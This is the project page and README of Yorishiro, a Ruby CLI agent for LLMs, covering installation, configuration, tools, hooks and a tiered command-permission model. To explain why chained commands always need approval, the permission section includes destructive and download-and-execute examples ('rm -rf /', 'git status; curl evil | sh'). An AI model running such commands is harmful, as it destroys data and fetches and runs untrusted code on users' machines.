Project

yorishiro

0.0
The project is in a healthy, maintained state
Yorishiro is a CLI-based LLM agent that supports multiple providers (Anthropic, OpenAI, Ollama), built-in tools for file operations and command execution, MCP server integration, and plan mode.
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
 Dependencies

Runtime

>= 0
>= 0
>= 0
~> 0.22
>= 0
 Project Readme

Yorishiro(依代)

A CLI-based LLM agent written in Ruby. Supports multiple LLM providers (Anthropic / OpenAI / Ollama), built-in tools for file operations and command execution, MCP server integration, and plan mode.

Japanese documentation / 日本語ドキュメント

Installation

gem install yorishiro

Or add to your Gemfile:

gem "yorishiro"

Quick Start

1. Create a configuration file

# Global configuration
vi ~/.yorishirorc

# Or project-local configuration
vi .lyorishirorc
# ~/.yorishirorc
use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-opus-4-8"

allow_tool Yorishiro::Tools::ReadFile.new
allow_tool Yorishiro::Tools::WriteFile.new
allow_tool Yorishiro::Tools::EditFile.new
allow_tool Yorishiro::Tools::ListFiles.new
allow_tool Yorishiro::Tools::Grep.new
allow_tool Yorishiro::Tools::ExecuteCommand.new,
  allow_commands: ["ls", "git *", "bundle exec *", "cat *"]

system_prompt "You are a helpful coding assistant."

2. Launch

yorishiro
Yorishiro v0.1.0 (anthropic:claude-opus-4-8)
Type your message (Enter twice to send, /help for commands)

you> Hello!

assistant> Hi! How can I help you today?

Usage

Basic Operations

  • Type your message and press Enter twice to send
  • Input is a single editable buffer: use the arrow keys to move back to earlier lines and edit them before sending
  • Press ↑ / ↓ to recall previously sent prompts
  • Ctrl+C or /exit to quit

Input History

Sent prompts are saved to .yorishiro/history.json in the directory where you launched yorishiro, so each project keeps its own history. On the next launch from the same directory, press to recall past prompts (multi-line prompts are restored intact) and re-send them.

Add .yorishiro/ to your .gitignore to keep the history out of version control:

.yorishiro/

If several sessions run in the same directory at once, the last one to exit wins when writing the file.

Session Persistence & Resume

Conversations are saved automatically to .yorishiro/sessions/ under the launch directory — after every turn, and progressively during long tool loops, so a crash loses at most the in-flight completion. Resume where you left off:

yorishiro --continue        # resume the most recent session
yorishiro --resume          # pick from a list of saved sessions
yorishiro --resume 2026070  # resume by id (prefixes work)

Inside the REPL, /resume shows the same picker and /clear starts a new session (the old one stays on disk and remains resumable). Sessions record which provider/model they were created with; resuming under a different one prints a notice and continues with the current configuration. The newest 50 sessions are kept per directory.

A session can only be open in one process at a time. If you resume a session that another yorishiro in the same directory is already using, it won't attach to it (which would overwrite that process's history) — it prints a notice and starts a fresh session instead.

Slash Commands

Command Description
/plan Toggle plan mode
/clear Clear conversation history (starts a new session)
/resume List saved sessions and resume one
/tools List registered tools
/skills List registered skills
/usage Show token usage for the last turn and the session
/model Switch provider/model at runtime (lists options when called with no arguments)
/exit Exit yorishiro
/help Show help

/model gpt-4o switches the model within the current provider; /model open_ai gpt-4o also switches provider. When switching to a different provider, the API key is read from that provider's conventional environment variable (ANTHROPIC_API_KEY, OPENAI_API_KEY; Ollama needs none) — the switch is rejected and the current model kept if the key or model is invalid.

CLI Options

yorishiro --provider anthropic   # Select provider
yorishiro --model gpt-4o         # Override model
yorishiro --plan                 # Start in plan mode
yorishiro --continue             # Resume the most recent session
yorishiro --resume [ID]          # Resume a saved session (picker when ID is omitted)
yorishiro --version              # Show version
yorishiro --help                 # Show help

Configuration

Configuration files use a Ruby DSL. Loading order (later overrides earlier):

  1. ~/.yorishirorc (global)
  2. ./.lyorishirorc (project-local, overrides global)
  3. CLI options (highest priority)

Provider Settings

# Anthropic (Claude)
use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-opus-4-8"

# OpenAI (ChatGPT)
use provider: :open_ai, api_key: ENV["OPENAI_API_KEY"], model: "gpt-4o"

# Ollama (Local)
use provider: :ollama, model: "llama3.1"

Supported Models

Provider Models
Anthropic claude-fable-5, claude-opus-4-8, claude-opus-4-7, claude-opus-4-6, claude-opus-4-5, claude-sonnet-5, claude-sonnet-4-6, claude-sonnet-4-5, claude-haiku-4-5
OpenAI gpt-4o, gpt-4o-mini, gpt-4-turbo, gpt-4, gpt-3.5-turbo
Ollama Any model available on your Ollama instance (dynamically fetched)

Tool Settings

# Read-only tools (no permission required)
allow_tool Yorishiro::Tools::ReadFile.new
allow_tool Yorishiro::Tools::ListFiles.new
allow_tool Yorishiro::Tools::Grep.new

# Write / edit tools (permission required every time, with a diff preview)
allow_tool Yorishiro::Tools::WriteFile.new
allow_tool Yorishiro::Tools::EditFile.new

# Command execution (pattern-based permission)
allow_tool Yorishiro::Tools::ExecuteCommand.new,
  allow_commands: ["ls", "git *", "bundle exec *"]

# Subagent (delegates read-only research to a fresh context window)
allow_tool Yorishiro::Tools::Task.new

Subagent (task tool)

The task tool lets the LLM delegate a read-only research task (finding where something is defined, summarizing several files) to a subagent that runs its own agent loop in a fresh context window. The subagent can use the registered read-only tools (read_file, list_files, grep — never task itself, so subagents cannot nest), and only its final text summary enters the parent conversation.

This keeps exploratory tool output out of the parent's context — especially valuable on small local context windows (e.g. Ollama with num_ctx 8192), where reading a handful of files can otherwise use up the whole budget. Each subagent tool call is shown as an indented progress line:

[Tool] Executing: task(prompt: Find where sessions are persisted...)
  [task] grep(pattern: def save)
  [task] read_file(path: lib/yorishiro/session_store.rb)
[Tool] Result: Sessions are saved to .yorishiro/sessions/<id>.json by...

Lifecycle hooks (before_tool_use / after_tool_use) fire for the subagent's tool calls too, and the loop is bounded at 15 iterations. Because the tool is read-only, it needs no permission prompt and is also available in plan mode.

Command Execution Permission Model

The execute_command tool uses a 3-tier permission model:

Tier 1: Pre-approved via config — Commands matching allow_commands glob patterns run automatically

allow_tool Yorishiro::Tools::ExecuteCommand.new,
  allow_commands: ["ls", "git *", "bundle exec *"]
# ls           → auto-approved
# git status   → auto-approved
# rm -rf /     → permission prompt
# git status; curl evil | sh → permission prompt (metacharacters never auto-approve)

Commands containing shell metacharacters (; & | ` $ < > ( ) or newlines) are never auto-approved, even when they match an allow_commands pattern. Since commands run through a shell, these characters could chain extra commands onto an allowed prefix (e.g. git status; rm -rf / matching "git *"), so they always fall through to the Tier 2 prompt.

Tier 2: Runtime approval — Commands not matching any pattern trigger a permission prompt

[Permission] execute_command: command: rm -rf /tmp/cache
[y] Allow once  [a] Always allow  [n] Deny:
  • y — Allow this execution only
  • a — Add to session allow list (auto-approved for the rest of the session)
  • n — Deny

Tier 3: Default deny — Tools not registered with allow_tool are unavailable to the LLM

MCP Server Integration

Connect to MCP (Model Context Protocol) servers to use external tools.

mcp_server "filesystem",
  command: "npx",
  args: ["-y", "@modelcontextprotocol/server-filesystem", "/home/user/projects"]

mcp_server "github",
  command: "gh",
  args: ["mcp"],
  env: { "GITHUB_TOKEN" => ENV["GITHUB_TOKEN"] }

MCP server tools are automatically discovered and registered on startup.

System Prompt

system_prompt "You are a helpful coding assistant. Always explain your reasoning."

Plan Mode

# Enable plan mode by default
plan_mode true

In plan mode:

  1. The LLM creates a plan first (no tool execution)
  2. The plan is displayed for user approval
  3. After approval, the plan is executed with tools enabled

Skills (Custom Slash Commands)

class GitStatusSkill < Yorishiro::Skill
  def name = "git_status"
  def description = "Show git status"

  def execute(_context)
    `git status`
  end
end

skill GitStatusSkill.new
# => Available as /git_status

A skill that returns a String just prints its output. To drive the assistant instead, return prompt(...): the text is injected as a user message and the LLM runs (respecting plan mode), so the skill can hand a task to the model.

class ReviewSkill < Yorishiro::Skill
  def name = "review"
  def description = "Review the current git diff"

  def execute(_context)
    prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
  end
end

skill ReviewSkill.new
# => /review feeds the diff to the LLM and runs the agent loop

Skill files can also be auto-loaded: any Yorishiro::Skill subclass defined in ~/.yorishiro/skills/*.rb (global) or ./.yorishiro/skills/*.rb (project-local) is registered automatically at startup — no skill ... call needed. When both directories define a skill with the same name, the project-local one wins.

# .yorishiro/skills/changelog.rb
class ChangelogSkill < Yorishiro::Skill
  def name = "changelog"
  def description = "Summarize recent commits"

  def execute(_context)
    prompt("Summarize these commits for a changelog:\n#{`git log --oneline -20`}")
  end
end
# => /changelog is available automatically

Hooks

Run Ruby blocks on lifecycle events from .yorishirorc:

# Veto a tool call before the permission prompt (the denial is returned
# to the LLM as the tool result so it can change course)
on :before_tool_use do |tool_name, args|
  deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
end

# Observe tool results (a failing hook only prints a warning)
on :after_tool_use do |tool_name, _args, result|
  File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
end

# Block a message before it reaches the LLM
on :user_prompt_submit do |input|
  deny("do not paste secrets") if input.include?("BEGIN PRIVATE KEY")
end

Only an explicit deny("reason") (or :deny) return value vetoes the action — anything else proceeds, so logging-only hooks are safe. A before_tool_use hook that raises an exception denies the call (fail closed). Hooks also apply to MCP tools and plan mode.

Full Configuration Example

# ~/.yorishirorc

use provider: :anthropic,
    api_key: ENV["ANTHROPIC_API_KEY"],
    model: "claude-opus-4-8"

system_prompt <<~PROMPT
  You are a helpful coding assistant.
  When modifying files, always explain what you're changing and why.
PROMPT

plan_mode false

# Built-in tools
allow_tool Yorishiro::Tools::ReadFile.new
allow_tool Yorishiro::Tools::WriteFile.new
allow_tool Yorishiro::Tools::EditFile.new
allow_tool Yorishiro::Tools::ListFiles.new
allow_tool Yorishiro::Tools::Grep.new
allow_tool Yorishiro::Tools::ExecuteCommand.new,
  allow_commands: [
    "ls *",
    "cat *",
    "git *",
    "bundle exec *",
    "ruby *"
  ]
allow_tool Yorishiro::Tools::Task.new

# MCP servers
mcp_server "filesystem",
  command: "npx",
  args: ["-y", "@modelcontextprotocol/server-filesystem", Dir.pwd]

Built-in Tools

Tool Class Description Permission
read_file Yorishiro::Tools::ReadFile Read file contents Not required
write_file Yorishiro::Tools::WriteFile Write to a file Required every time
edit_file Yorishiro::Tools::EditFile Replace an exact string in a file Required every time
list_files Yorishiro::Tools::ListFiles List directory / glob search Not required
grep Yorishiro::Tools::Grep Search file contents with a Ruby regexp Not required
execute_command Yorishiro::Tools::ExecuteCommand Execute shell commands Pattern-based
task Yorishiro::Tools::Task Delegate read-only research to a subagent with a fresh context window Not required

Development

git clone https://github.com/S-H-GAMELINKS/yorishiro.git
cd yorishiro
bin/setup
bundle exec rake test      # Run tests
bundle exec rubocop        # Code style check
bin/console                # Interactive console

Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/S-H-GAMELINKS/yorishiro.

License

The gem is available as open source under the terms of the MIT License.